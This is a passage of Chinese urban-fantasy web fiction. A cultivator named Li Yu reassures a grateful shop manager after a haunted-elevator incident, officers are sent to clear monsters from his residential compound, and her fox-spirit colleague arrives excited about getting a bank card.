他抹了抹额头上的汗,脸上满是感激,“要不是黎大仙的符纸,我恐怕已经死在电梯里了。” “您就是我的再生父母啊!” 谢谢,她没有认儿子的兴趣。 “叫我名字就行了……”不是修仙界,在现代被人这么称呼,黎钰浑身不自在。 “好的,谢谢黎大仙!” 和步星澜通话后,他告诉黎钰,“关于他所在的小区,我们已经安排人出警了,你不用担心。” “可我现在真的不敢回家……”想到昨天凌晨的诡异事件,店长浑身颤抖。 外放的电话中,步星澜冷峻的话音传出:“若你不放心,可以和我们的警员一起回小区,他们能处理好停车场和电梯的妖物。” “现在是白天,你不必害怕。相信我们。” 店长将犹疑的目光看向黎钰,十分担忧。黎钰镇定地说道:“那些是我的同事,你放心交给他们吧。” 其实黎钰也没见过对策局正规人员办案,但考虑到方程(兼职)的水平……鬼一定会死,电梯和停车场会不会幸免于难,她就不知道了。 得到黎钰的肯定,店长这才松了口气,纠结说道:“那……我也跟去看看情况?” 总不能躲一辈子不回家。 “出门左转第三间会议室,里面那两位警员会陪你回小区。”外放的电话中,步星澜指示他道。 黎钰挂掉电话,“大概情况就是这样,我们会派专人和店长你前往小区,你也累了。把鬼怪解决,正好回家休息。” 店长连连道谢。不能贿赂,于是老板掏出了她五张VR体验馆免费券(永久),还是连锁店,黎钰只能不好意思地收下。 刚迈出会议室来到走廊,店长却赶上了谢安霖回来。 “是狐仙大人——”店长刚准备向谢安霖打招呼,后者开心地越过他,直直冲进了会议室。 店长不明所以,迷茫地想道:难道他们又要紧急任务了吗?神仙就是忙啊…… 被以为要出紧急任务的谢安霖,他兴奋地跑到黎钰身边,晃着她的手:“黎钰,我拿到卡了!我们早饭去吃什么?” “比起吃饭,你现在要做的是买一台手机,绑定银行卡。” “嗯!”